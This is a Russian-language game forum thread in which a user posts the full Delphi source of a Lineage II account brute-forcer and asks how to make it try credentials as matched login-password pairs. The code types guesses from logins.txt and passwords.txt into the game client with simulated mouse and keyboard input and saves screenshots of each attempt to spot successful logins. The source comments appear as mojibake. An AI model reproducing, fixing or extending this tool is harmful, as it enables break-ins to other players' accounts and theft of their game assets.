Регистрация Главная Сообщество
Сообщения за день Справка Регистрация

Хелп!

-

Вопросы и ответы, обсуждения

- Ваши вопросы по Pascal/Delphi только в данном разделе

Ответ
 
Опции темы
Старый 29.08.2010, 17:08   #1
 Пехотинец
Аватар для obey177
 
obey177 скоро будет известенobey177 скоро будет известенobey177 скоро будет известен
Регистрация: 09.06.2010
Сообщений: 64
Популярность: 245
Сказал(а) спасибо: 23
Поблагодарили 74 раз(а) в 34 сообщениях
 
По умолчанию Хелп!

Народ помогите плз начал переделывать l2bc13 проблема в том что этот брут берет логин не по списку а как ему вздумаеться а мне бы хотелось что бы он брал допустим лог1 пас 1 лог 2 пас 2 и тд но щяс же он берет любой логин из текстовик и любой пас из другова текстовика и делает со словорями все что ему захочеться....из текстовик и любой пас из другова текстовика и делает со словорями все что ему захочеться....
Код:
unit Unit1;

interface

uses
  Windows,
  Messages,
  SysUtils,
  Variants,
  Classes,
  Graphics,
  Controls,
  Forms,
  Dialogs,
  StdCtrls,
  ExtCtrls,
  Jpeg,
  sSkinManager,
  sSkinProvider,
  sCheckBox,
  sEdit,
  sLabel,
  sGroupBox,
  sButton,
  sListBox;

type
    TForm1          = class(TForm)
    Button1         : TsButton;
    Edit1           : TsEdit;
    Label1          : TsLabel;
    Label2          : TsLabel;
    Label3          : TsLabel;
    Button2         : TsButton;
    GroupBox1       : TsGroupBox;
    Edit2           : TsEdit;
    Label4          : TsLabel;
    Edit3           : TsEdit;
    Label5          : TsLabel;
    Label6          : TsLabel;
    CheckBox1       : TsCheckBox;
    Edit4           : TsEdit;
    Edit5           : TsEdit;
    Edit6           : TsEdit;
    Edit7           : TsEdit;
    Edit8           : TsEdit;
    Edit9           : TsEdit;
    Edit10          : TsEdit;
    Edit11          : TsEdit;
    Label7          : TsLabel;
    Label8          : TsLabel;
    Label9          : TsLabel;
    Label10         : TsLabel;
    Label11         : TsLabel;
    Label12         : TsLabel;
    Label13         : TsLabel;
    Label14         : TsLabel;
    Label15         : TsLabel;
    Label16         : TsLabel;
    Label17         : TsLabel;
    Label18         : TsLabel;
    GroupBox2       : TsGroupBox;
    Label19         : TsLabel;
    CheckBox2       : TsCheckBox;
    CheckBox3       : TsCheckBox;
    CheckBox4       : TsCheckBox;
    sSkinManager1   : TsSkinManager;
    sSkinProvider1  : TsSkinProvider;
    sGroupBox1      : TsGroupBox;
    sLabel1         : TsLabel;
    sLabel2         : TsLabel;
    sLabel3         : TsLabel;
    sCheckBox1      : TsCheckBox;
    sGroupBox2      : TsGroupBox;
    sListBox1       : TsListBox;
    sListBox2       : TsListBox;
    sButton1        : TsButton;
    sLabelFX1       : TsLabelFX;
    sLabelFX2       : TsLabelFX;
    Timer1          : TTimer;
    Label20: TLabel;
    Label21: TLabel;
    sEdit1: TsEdit;
    sLabel4: TsLabel;
    sEdit2: TsEdit;
    Label22: TLabel;
    sLabel5: TsLabel;
    sEdit3: TsEdit;
    sEdit4: TsEdit;
    sLabel6: TsLabel;

    procedure Button1Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    procedure FormCloseQuery(Sender: TObject; var CanClose: Boolean);
    procedure FormDestroy(Sender: TObject);
    procedure sCheckBox1Click(Sender: TObject);
    procedure sButton1Click(Sender: TObject);
    procedure Timer1Timer(Sender: TObject);

  private
    procedure WMHotKey(var Msg : TWMHotKey); message WM_HOTKEY;
  public
    logins, passwords   : TListBox;
    z, k, SavedPictures : Integer;
    closing             : Boolean;
    saved_pos           : Integer;
  end;

type
    Stream = class(TThread)
    login, password : String;
  private
  protected
  procedure Execute; override;
  procedure Save;
  end;

var
  Form1       : TForm1;
  Potok       : array[0..255] of Stream;
  id_kname    : Integer;
  time_spend  : Integer;
  time_rem    : Integer;

implementation

{$R *.dfm}


// Ïðîöåäóðêà íàæàòèÿ êëàâèøè (ïîêà íå íóæíà)
{procedure PostKeyboardEvent(KeyKode, State : Integer);
var
  Temp : TInput;
begin
  Temp.IType          := INPUT_KEYBOARD;
  Temp.ki.time        := 0;
  Temp.ki.dwExtraInfo := cardinal(nil);
  Temp.ki.wVk         := KeyKode and $FF;
  Temp.ki.wScan       := MapVirtualKey(KeyKode, 0) and $FF;
  Temp.ki.dwFlags     := STATE;
  Sleep(StrToInt(Form1.Edit2.Text));
  SendInput(1, Temp, SizeOf(Temp));
  Sleep(50);
end;}


procedure TForm1.WMHotKey (var Msg : TWMHotKey);
begin
  if Msg.HotKey = id_kname then
  begin
    closing := true;
    Application.Terminate;
  end;
end;


// Ïðîöåäóðêà ñíÿòèÿ ñêðèíøîòà àêòèâíîãî îêíà
procedure ScreenShotActiveWindow(Bild: TBitMap);
var
  c     : TCanvas;
  r, t  : TRect;
  h     : THandle;
begin
  c := TCanvas.Create;
  c.Handle := GetWindowDC(GetDesktopWindow);
  h := GetForeGroundWindow;
  if h <> 0 then
    GetWindowRect(h, t);
  try
    r := Rect(0, 0, t.Right - t.Left, t.Bottom - t.Top);
    Bild.Width  := t.Right - t.Left;
    Bild.Height := t.Bottom - t.Top;
    Bild.Canvas.CopyRect(r, c, t);
  finally
    ReleaseDC(0, c.Handle);
    c.Free;
  end;
end;


// Ôóíêöèÿ çàâåðøåíèÿ ðàáîòû êîìïüþòåðà
function MyExitWindows(RebootParam : Longword) : Boolean;
var  
  TTokenHd              : THandle;
  TTokenPvg             : TTokenPrivileges;
  cbtpPrevious          : DWORD;
  rTTokenPvg            : TTokenPrivileges;
  pcbtpPreviousRequired : DWORD;
  tpResult: Boolean;  
const  
  SE_SHUTDOWN_NAME = 'SeShutdownPrivilege';  
begin  
  if Win32Platform = VER_PLATFORM_WIN32_NT then  
  begin  
    tpResult := OpenProcessToken(GetCurrentProcess(),  
      TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY,  
      TTokenHd);  
    if tpResult then  
    begin  
      tpResult := LookupPrivilegeValue(nil,  
                                       SE_SHUTDOWN_NAME,  
                                       TTokenPvg.Privileges[0].Luid);  
      TTokenPvg.PrivilegeCount := 1;  
      TTokenPvg.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;  
      cbtpPrevious := SizeOf(rTTokenPvg);  
      pcbtpPreviousRequired := 0;  
      if tpResult then  
        Windows.AdjustTokenPrivileges(TTokenHd,  
                                      False,  
                                      TTokenPvg,  
                                      cbtpPrevious, 
                                      rTTokenPvg, 
                                      pcbtpPreviousRequired); 
    end;
  end; 
  Result := ExitWindowsEx(RebootParam, 0);
end;



// Ñîçäàíèå ôîðìû - ïðîâåðêà âíåøíèõ ôàéëîâ
procedure TForm1.FormCreate(Sender: TObject);
var
  saved_pos_memo : TMemo;
begin
  Form1.ClientWidth := 300;
  id_kname := GlobalAddAtom('Hotkey1');
  RegisterHotKey(Form1.Handle, id_kname, 0, 27);
  logins := TListBox.Create(self); logins.Parent := self; logins.Visible := false;
  passwords := TListBox.Create(self); passwords.Parent := self; passwords.Visible := false;
  saved_pos_memo := TMemo.Create(self); saved_pos_memo.Parent := self; saved_pos_memo.Visible := false;
  saved_pos := 0;
  try
    saved_pos_memo.Lines.LoadFromFile('L2 Client Bruteforce - progress.txt');
    saved_pos := StrToInt(saved_pos_memo.Lines[0]);
  except end; saved_pos_memo.Free;
  try
    logins.Items.LoadFromFile('logins.txt');
  except
    begin
      ShowMessage('Íå íàéäåí ôàéë logins.txt. Ôàéë ñîçäàí.');
      logins.Items.SaveToFile('logins.txt');
      Application.Terminate;
    end;
  end;
  try
    passwords.Items.LoadFromFile('passwords.txt');
  except
    begin
      ShowMessage('Íå íàéäåí ôàéë passwords.txt. Ôàéë ñîçäàí.');
      passwords.Items.SaveToFile('passwords.txt');
      Application.Terminate;
    end;
  end;
  if logins.Count = 0 then
    begin
      ShowMessage('Ôàéë ëîãèíîâ ïóñò');
      Application.Terminate;
    end;
  if passwords.Count = 0 then
    begin
      ShowMessage('Ôàéë ïàðîëåé ïóñò');
      Application.Terminate;
    end;
  if FindWindow(nil, 'Lineage II') = 0 then
    begin
      ShowMessage('Êëèåíò èãðû íå çàïóùåí');
      Application.Terminate;
    end;
  z := 0;
  SavedPictures := 0;
  time_spend := 0;
  time_rem := 0;
  closing := false;
  sListBox1.Items := logins.Items;
  sListBox2.Items := passwords.Items;
end;


procedure TForm1.Button1Click(Sender: TObject);
var
  x, y, ch  : Integer;
  isCyr     : Boolean;
  Layout    : array [0..KL_NAMELENGTH] of Char;
begin
  // Áëîêèðóåì èçìåíåíèå íàñòðîåê è êíîïêè
  GroupBox1.Enabled := false;
  Button1.Enabled   := false;
  Button2.Enabled   := false;

    k := 0; // Îáíóëÿåì êîëè÷åñòâî ïîòîêîâ

    CreateDir('L2_bruteforce_images'); // Ñîçäà¸ì ïàïêó äëÿ ñîõðàí¸ííûõ êàðòèíîê

  // Âûñòàâëÿåì îêîøêè íà ýêðàíå
  Form1.Left := 630;
  Form1.Top  := 40;
  SetWindowPos(FindWindow(nil, 'Lineage II'), HWND_TOP, 0, 0, 600, 600, SWP_SHOWWINDOW);
  Sleep(2000); // Æä¸ì, êîãäà òàì âñ¸ âûñòðîèòñÿ êàê íàäî

  GetKeyboardLayoutName(Layout);
  if Layout <> '00000409' then
  begin
    LoadKeyboardLayout('00000409', klf_activate);                 // Ïåðåêëþ÷àåìñÿ íà àíãëèéñêèé
    ActivateKeyboardLayout(LoadKeyboardLayout('00000409', 0), 0); // Åù¸ ðàç =)
    Sleep(100);
  end;

  Timer1.Enabled := true;

  if CheckBox1.Checked = true then
      for x := 0 to logins.Count-1 do

        begin
          try
            while k = 1 do
            begin
              if closing = true then Break;
              Application.ProcessMessages; // Åñëè ïîòîê åù¸ íå îòðàáîòàë, òî æä¸ì.
            end;
            Application.ProcessMessages;
            isCyr := false;
            for ch := 1 to length(logins.Items[x]) do
            begin
              if not (logins.Items[x][ch] in ['a'..'z', 'A'..'Z', '0'..'9']) then isCyr := true;
            end;
            if isCyr = false then
            begin
              Potok[k]                 := Stream.Create(true);
              Potok[k].login           := logins.Items[x];
              Potok[k].password        := logins.Items[x];
              Potok[k].FreeOnTerminate := True;
              Potok[k].Resume;
              inc(k);
            end else inc(z);
            Application.ProcessMessages;
          except end;
        end
  else
    for x := 0 to logins.Count-1 do
      for y := 0 to passwords.Count-1 do
        begin
          if closing = true then Break;
          try
            while k = 1 do
            begin
              Application.ProcessMessages; // Åñëè ïîòîê åù¸ íå îòðàáîòàë, òî æä¸ì.
            end;
            Application.ProcessMessages;
            isCyr := false;
            for ch := 1 to length(logins.Items[x]) do
            begin
              if not (logins.Items[x][ch] in ['a'..'z', 'A'..'Z', '0'..'9']) then isCyr := true;
            end;
            for ch := 1 to length(passwords.Items[y]) do
            begin
              if not (passwords.Items[y][ch] in ['a'..'z', 'A'..'Z', '0'..'9']) then isCyr := true;
            end;
            if isCyr = false then
            begin
              Potok[k]                 := Stream.Create(true);
              Potok[k].login           := logins.Items[x];
              Potok[k].password        := passwords.Items[y];
              Potok[k].FreeOnTerminate := True;
              Potok[k].Resume;
              inc(k);
            end else inc(z);
            Application.ProcessMessages;
          except end;
        end;

  while k = 1 do Application.ProcessMessages; // Æä¸ì, êîãäà íå óìðóò âñå ïîòîêè

  Timer1.Enabled := false;
  Label2.Caption := 'Òåêóùèé ëîãèí - [çàâåðøåíî]';
  Label3.Caption := 'Òåêóùèé ïàðîëü - [çàâåðøåíî]';
  Button1.Caption := 'Çàâåðøåíî | Âñåãî: '+IntToStr(z)+' âàðèàíòîâ';

  if CheckBox3.Checked = true then
    SendMessage(FindWindow(nil, 'Lineage II'), WM_Close, 0, 0); // Çàêðûòü êëèåíò èãðû
  if CheckBox2.Checked = true then
    Close; // Ñóèöèä
  if CheckBox4.Checked = true then
    MyExitWindows(EWX_POWEROFF or EWX_FORCE); // Âûêëþ÷èòü êîìïüþòåð

end;


procedure Stream.Execute;
var
  pt              : TPoint;
  i               : Integer;
  saved_pos_memo  : TMemo;
label
  too_early;
begin
  try
    inc(Form1.z);

    if Form1.z < Form1.saved_pos then goto too_early;

    saved_pos_memo := TMemo.Create(nil); saved_pos_memo.Visible := false;
    try
      saved_pos_memo.Text := IntToStr(Form1.z);
      saved_pos_memo.Lines.SaveToFile('L2 Client Bruteforce - progress.txt');
    finally
      saved_pos_memo.Free;
    end;

    // Îòîáðàæàåì ïðîãðåññ â òåêñòîâîì âèäå
    Form1.Label2.Caption := 'Òåêóùèé ëîãèí - ' + login;
    Form1.Label3.Caption := 'Òåêóùèé ïàðîëü - ' + password;
    if Form1.CheckBox1.Checked = false then
      Form1.Button1.Caption := 'Òåêóùèé: ' + IntToStr(Form1.z) + ' | Îñòàëîñü: ' + IntToStr(Form1.logins.Count * Form1.passwords.Count - Form1.z) + ' | Âñåãî: ' + IntToStr(Form1.logins.Count * Form1.passwords.Count)
    else
      Form1.Button1.Caption := 'Òåêóùèé: ' + IntToStr(Form1.z) + ' | Îñòàëîñü: ' + IntToStr(Form1.logins.Count - Form1.z) + ' | Âñåãî: ' + IntToStr(Form1.logins.Count);

    GetCursorPos(pt);
    SetCursorPos(StrToInt(Form1.Edit11.Text), StrToInt(Form1.Edit4.Text)); // Ñòàâèì êóðñîð íà ïîëå ââîäà ëîãèíà
    GetCursorPos(pt);

    // Êëèê íà ïîëå ââîäà
    Mouse_Event(MOUSEEVENTF_ABSOLUTE or MOUSEEVENTF_LEFTDOWN, pt.X, pt.Y, 0, 0);
    Sleep(StrToInt(Form1.Edit3.Text));
    Mouse_Event(MOUSEEVENTF_ABSOLUTE or MOUSEEVENTF_LEFTUP, pt.X, pt.Y, 0, 0);
    Application.ProcessMessages;

    for i := 1 to length(login) do
    begin
      Sleep(StrToInt(Form1.Edit2.Text));
      if login[i] in ['A'..'Z'] then
      begin
        keybd_event(VK_SHIFT, MapVirtualKey(VK_SHIFT, 0), 0, 0);
        keybd_event(Ord(upcase(login[i])), MapVirtualKey(Ord(upcase(login[i])), 0), 0, 0);
        keybd_event(Ord(upcase(login[i])), MapVirtualKey(Ord(upcase(login[i])), 0), KEYEVENTF_KEYUP, 0);
        keybd_event(VK_SHIFT, MapVirtualKey(VK_SHIFT, 0), KEYEVENTF_KEYUP, 0);
      end else begin
        keybd_event(Ord(upcase(login[i])), MapVirtualKey(Ord(upcase(login[i])), 0), 0, 0);
        keybd_event(Ord(upcase(login[i])), MapVirtualKey(Ord(upcase(login[i])), 0), KEYEVENTF_KEYUP, 0);
      end;
    end;

    GetCursorPos(pt);
    SetCursorPos(StrToInt(Form1.Edit10.Text), StrToInt(Form1.Edit5.Text)); // Ñòàâèì êóðñîð íà ïîëå ââîäà ïàðîëÿ
    GetCursorPos(pt);

    // Äâîéíîé êëèê íà ïîëå ââîäà
    Mouse_Event(MOUSEEVENTF_ABSOLUTE or MOUSEEVENTF_LEFTDOWN, pt.X, pt.Y, 0, 0);
    Sleep(StrToInt(Form1.Edit3.Text));
    Mouse_Event(MOUSEEVENTF_ABSOLUTE or MOUSEEVENTF_LEFTUP, pt.X, pt.Y, 0, 0);
    Sleep(StrToInt(Form1.Edit3.Text));
    Mouse_Event(MOUSEEVENTF_ABSOLUTE or MOUSEEVENTF_LEFTDOWN, pt.X, pt.Y, 0, 0);
    Sleep(StrToInt(Form1.Edit3.Text));
    Mouse_Event(MOUSEEVENTF_ABSOLUTE or MOUSEEVENTF_LEFTUP, pt.X, pt.Y, 0, 0);
    Application.ProcessMessages;

    for i := 1 to length(password) do
    begin
      Sleep(StrToInt(Form1.Edit2.Text));
      if password[i] in ['A'..'Z'] then
      begin
        keybd_event(VK_SHIFT, MapVirtualKey(VK_SHIFT, 0), 0, 0);
        keybd_event(Ord(upcase(password[i])), MapVirtualKey(Ord(upcase(password[i])), 0), 0, 0);
        keybd_event(Ord(upcase(password[i])), MapVirtualKey(Ord(upcase(password[i])), 0), KEYEVENTF_KEYUP, 0);
        keybd_event(VK_SHIFT, MapVirtualKey(VK_SHIFT, 0), KEYEVENTF_KEYUP, 0);
      end else begin
        keybd_event(Ord(upcase(password[i])), MapVirtualKey(Ord(upcase(password[i])), 0), 0, 0);
        keybd_event(Ord(upcase(password[i])), MapVirtualKey(Ord(upcase(password[i])), 0), KEYEVENTF_KEYUP, 0);
      end;
    end;

    GetCursorPos(pt);
    SetCursorPos(StrToInt(Form1.Edit9.Text), StrToInt(Form1.Edit6.Text)); // Ñòàâèì êóðñîð íà êíîïêó âõîäà
    GetCursorPos(pt);

    // Êëèê íà êíîïêå
    Mouse_Event(MOUSEEVENTF_ABSOLUTE or MOUSEEVENTF_LEFTDOWN, pt.X, pt.Y, 0, 0);
    Sleep(StrToInt(Form1.Edit3.Text));
    Mouse_Event(MOUSEEVENTF_ABSOLUTE or MOUSEEVENTF_LEFTUP, pt.X, pt.Y, 0, 0);
    Application.ProcessMessages;

    Sleep(StrToInt(Form1.Edit1.Text)); // Çàäåðæêà äëÿ ïðîâåðêè àâòîðèçàöèè

    Synchronize(Save);

    Sleep(100);

    GetCursorPos(pt);
    SetCursorPos(StrToInt(Form1.Edit8.Text), StrToInt(Form1.Edit7.Text)); // Ñòàâèì êóðñîð íà êíîïêó îòêàçà
    GetCursorPos(pt);

    Mouse_Event(MOUSEEVENTF_ABSOLUTE or MOUSEEVENTF_LEFTDOWN, pt.X, pt.Y, 0, 0);
    Sleep(StrToInt(Form1.Edit3.Text));
    Mouse_Event(MOUSEEVENTF_ABSOLUTE or MOUSEEVENTF_LEFTUP, pt.X, pt.Y, 0, 0);
    Application.ProcessMessages;

    
    Sleep(StrToInt(Form1.Edit1.Text)); // Çàäåðæêà äëÿ ïðîâåðêè àâòîðèçàöèè

    Synchronize(Save);

      Sleep(100);

    GetCursorPos(pt);
    SetCursorPos(StrToInt(Form1.sEdit1.Text), StrToInt(Form1.sEdit2.Text)); // Ñòàâèì êóðñîð íà êíîïêó îòêàçà
    GetCursorPos(pt);

        Mouse_Event(MOUSEEVENTF_ABSOLUTE or MOUSEEVENTF_LEFTDOWN, pt.X, pt.Y, 0, 0);
    Sleep(StrToInt(Form1.Edit3.Text));
    Mouse_Event(MOUSEEVENTF_ABSOLUTE or MOUSEEVENTF_LEFTUP, pt.X, pt.Y, 0, 0);
    Application.ProcessMessages;

    
    Sleep(StrToInt(Form1.Edit1.Text)); // Çàäåðæêà äëÿ ïðîâåðêè àâòîðèçàöèè

    Synchronize(Save);

    Sleep(100);

    GetCursorPos(pt);
    SetCursorPos(StrToInt(Form1.sEdit3.Text), StrToInt(Form1.sEdit4.Text)); // Ñòàâèì êóðñîð íà êíîïêó îòêàçà
    GetCursorPos(pt);

    Sleep(StrToInt(Form1.Edit1.Text)); // Çàäåðæêà äëÿ ïðîâåðêè àâòîðèçàöèè

    Synchronize(Save);

    Sleep(100);

    // Êëèê íà êíîïêå îòêàçà îò ñîãëàøåíèÿ (åñëè óãàäàëè ïàðîëü)
    Mouse_Event(MOUSEEVENTF_ABSOLUTE or MOUSEEVENTF_LEFTDOWN, pt.X, pt.Y, 0, 0);
    Sleep(StrToInt(Form1.Edit3.Text));
    Mouse_Event(MOUSEEVENTF_ABSOLUTE or MOUSEEVENTF_LEFTUP, pt.X, pt.Y, 0, 0);
    Application.ProcessMessages;

    Sleep(100); // Ïîäîæä¸ì. Ìàëî ëè... =)

too_early: // Ñþäà ìû ïåðåõîäèì àâòîìàòîì, åñëè ó íàñ êîëè÷åñòâî âàðèàíòîâ ïîêà ìåíüøå, ÷åì çíà÷åíèå, ñîõðàí¸ííîå â íàñòðîéêàõ. ×åðåç çàäíèöó, áëèí, íî ðàáîòàåò.

  Finally
    dec(Form1.k);
    Terminate;
  end;
end;


procedure Stream.Save;
var
  jpg   : TJpegImage;
  BM    : TBitmap;
  pname : String;
begin
    BM := TBitmap.Create;
    jpg := TJpegImage.Create;
    jpg.CompressionQuality := 50; // ×óäîâèùíîå êà÷åñòâî =)
    pname := login+' - '+password+'.jpg'; // Èìÿ äëÿ ñîõðàíÿåìîãî ôàéëà
    if FileExists('L2_bruteforce_images\'+pname) then DeleteFile('L2_bruteforce_images\'+pname);
  try
    ScreenShotActiveWindow(BM); // Äåëàåì ñêðèíøîò
    Sleep(100);
    jpg.Assign(BM);
    jpg.SaveToFile('L2_bruteforce_images\'+pname);
    Application.ProcessMessages;
    inc(Form1.SavedPictures);
    Form1.Label6.Caption := 'Ñîõðàíåíî êàðòèíîê - '+IntToStr(Form1.SavedPictures);
  finally
    BM.Free;
    jpg.free;
  end;
end;


procedure TForm1.Button2Click(Sender: TObject);
begin
  ShowMessage('Äëÿ ðàáîòû ïðîãðàììû íåîáõîäèìî:'+#10#13#10#13+
              '0. Îáÿçàòåëüíî ïðî÷èòàòü ôàéë Readme.txt'+#10#13+
              '1. Ñîçäàòü ôàéë logins.txt è ïîìåñòèòü òóäà ñïèñîê ëîãèíîâ'+#10#13+
              '2. Ñîçäàòü ôàéë passwords.txt ñî ñïèñêîì ïàðîëåé'+#10#13+
              '3. Çàïóñòèòü êëèåíò èãðû â îêîííîì ðåæèìå'+#10#13+
              '4. Íàñòðîèòü ïðîãðàììó, óñòàíîâèòü âðåìÿ çàäåðæåê'+#10#13+
              '5. Çàïóñòèòü ïðîãðàììó êíîïêîé "Ñòàðò"'+#10#13+
              '6. Åñëè ÷òî-òî íå ïîëó÷àåòñÿ - ñàìè âèíîâàòû, ÿ çäåñü íå ïðè ÷¸ì ;-P'+#10#13#10#13+
              '(c) 2009, Ëîìòåâ "Mix" Ìèõàèë, vkontakte.ru/id4444693 | UIN 585154');
end;


// Çàïðîñ çàêðûòèÿ ïðîãðàììû
procedure TForm1.FormCloseQuery(Sender: TObject; var CanClose: Boolean);
begin
  closing := true;
end;


// Äåéñòâèÿ ïðè óíè÷òîæåíèè ôîðìû
procedure TForm1.FormDestroy(Sender: TObject);
begin
  UnRegisterHotKey (Form1.Handle, id_kname);
end;


procedure TForm1.sCheckBox1Click(Sender: TObject);
begin
  if sCheckBox1.Checked = true then Form1.ClientWidth := 600 else Form1.ClientWidth := 300;
end;


procedure TForm1.sButton1Click(Sender: TObject);
var
  i, ch   : Integer;
  log_all : Integer;
  log_eng : Integer;
  pas_all : Integer;
  pas_eng : Integer;
  iskl    : Integer;
  time    : Integer;
  hour    : Integer;
  mins    : Integer;
  secs    : Integer;
  isCyr   : Boolean;
begin
  log_all := sListBox1.Items.Count;
  pas_all := sListBox2.Items.Count;
  log_eng := 0;
  pas_eng := 0;
  for i := 0 to sListBox1.Items.Count-1 do
  begin
    isCyr := false;
    for ch := 1 to length(sListBox1.Items[i]) do
      if not (sListBox1.Items[i][ch] in ['a'..'z', 'A'..'Z', '0'..'9']) then isCyr := true;
    if isCyr = false then inc(log_eng);
  end;
  for i := 0 to sListBox2.Items.Count-1 do
  begin
    isCyr := false;
    for ch := 1 to length(sListBox2.Items[i]) do
      if not (sListBox2.Items[i][ch] in ['a'..'z', 'A'..'Z', '0'..'9']) then isCyr := true;
    if isCyr = false then inc(pas_eng);
  end;
  iskl := log_all*pas_all - log_eng*pas_eng;
  time := log_eng*pas_eng*7;
  hour := time div 3600;
  mins := (time mod 3600) div 60;
  secs := (time mod 3600) mod 60;

  ShowMessage('Ñòàòèñòèêà ïî ââåä¸ííûì äàííûì:'+#10#13#10#13+
              'Âñåãî ëîãèíîâ: '+ IntToStr(log_all) +#10#13+
              'Âñåãî ïàðîëåé: '+ IntToStr(pas_all) +#10#13+
              'Íîðìàëüíûõ ëîãèíîâ: '+ IntToStr(log_eng) +#10#13+
              'Íîðìàëüíûõ ïàðîëåé: '+ IntToStr(pas_eng) +#10#13+
              'Âñåãî âàðèàíòîâ: '+ IntToStr(log_all*pas_all) +#10#13+
              'Áóäåò èñêëþ÷åíî âàðèàíòîâ: '+ IntToStr(iskl) +#10#13+
              'Áóäåò èñïîëüçîâàíî âàðèàíòîâ: '+ IntToStr(log_eng*pas_eng) +#10#13+
              'Ïðèìåðíîå âðåìÿ (ïðè 7 ñåê.): '+ IntToStr(hour) +' ÷. ' + IntToStr(mins) + ' ì. ' + IntToStr(secs) + ' ñ.');
end;


procedure TForm1.Timer1Timer(Sender: TObject);
var
  hour, mins, secs        : Integer;
  hour_r, mins_r, secs_r  : Integer;
begin
  inc(time_spend);
  if Form1.CheckBox1.Checked = false then
    time_rem := (logins.Items.Count * passwords.Items.Count - z)*(time_spend div z)
  else
    time_rem := (logins.Items.Count - z)*(time_spend div z);
  hour := time_spend div 3600;
  mins := (time_spend mod 3600) div 60;
  secs := (time_spend mod 3600) mod 60;
  hour_r := time_rem div 3600;
  mins_r := (time_rem mod 3600) div 60;
  secs_r := (time_rem mod 3600) mod 60;
  sLabel1.Caption := 'Îñòàëîñü âðåìåíè - ' + IntToStr(hour_r) +' ÷. ' + IntToStr(mins_r) + ' ì. ' + IntToStr(secs_r) + ' ñ.';
  sLabel2.Caption := 'Ïðîøëî âðåìåíè - ' + IntToStr(hour) +' ÷. ' + IntToStr(mins) + ' ì. ' + IntToStr(secs) + ' ñ.';
  sLabel3.Caption := 'Òåêóùàÿ ñêîðîñòü - ' + IntToStr((3600 * z) div time_spend) + ' âàð./÷àñ';
end;


end.
________________
[Ссылки могут видеть только зарегистрированные пользователи. ]
[Ссылки могут видеть только зарегистрированные пользователи. ]

Последний раз редактировалось obey177; 29.08.2010 в 17:10.
  Ответить с цитированием
Ответ


Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход

Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[Помогите!] хелп KILER3567105 Общение и обсуждение S4 League 10 19.05.2010 17:12
Хелп ми!!!!! Roverpcs6 Общение и обсуждение, архив Point Blank 2 16.05.2010 19:07
Хелп плз Dumcheg Общение и обсуждение, архив Point Blank 6 16.05.2010 04:28
хелп (^_^) xSysteMx Общение и обсуждение, архив Lineage 2 3 21.04.2010 23:05

Заявление об ответственности / Список мошенников

Часовой пояс GMT +4, время: 15:19.

Пишите нам: [email protected]
Copyright © 2024 vBulletin Solutions, Inc.
Translate: zCarot. Webdesign by DevArt (Fox)
G-gaMe! Team production | Since 2008
Hosted by GShost.net